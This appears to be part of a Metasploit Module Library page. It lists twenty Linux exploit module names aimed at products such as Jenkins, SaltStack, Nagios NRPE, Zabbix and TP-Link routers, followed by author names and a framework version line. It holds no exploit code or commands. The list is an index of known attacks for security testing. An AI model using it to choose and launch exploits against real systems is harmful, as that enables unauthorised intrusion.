- exploit/linux/misc/ib_jrd8_create_database
- exploit/linux/misc/ib_open_marker_file
- exploit/linux/misc/ib_pwd_db_aliased
- exploit/linux/misc/jenkins_java_deserialize
- exploit/linux/misc/jenkins_ldap_deserialize
- exploit/linux/misc/lprng_format_string
- exploit/linux/misc/mongod_native_helper
- exploit/linux/misc/nagios_nrpe_arguments
- exploit/linux/misc/netcore_udp_53413_backdoor
- exploit/linux/misc/netsupport_manager_agent
- exploit/linux/misc/nimbus_gettopologyhistory_cmd_exec
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/linux/misc/opennms_java_serialize
- exploit/linux/misc/qnap_transcode_server
- exploit/linux/misc/quest_pmmasterd_bof
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/linux/misc/sercomm_exec
- exploit/linux/misc/tplink_archer_a7_c7_lan_rce
- exploit/linux/misc/ueb9_bpserverd
- exploit/linux/misc/zabbix_server_exec
Authors
- Rob Vinson
- James Brytan
- James Smith
- Marisa Mack
- Sergey Pashevkin
- Steven Laura
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
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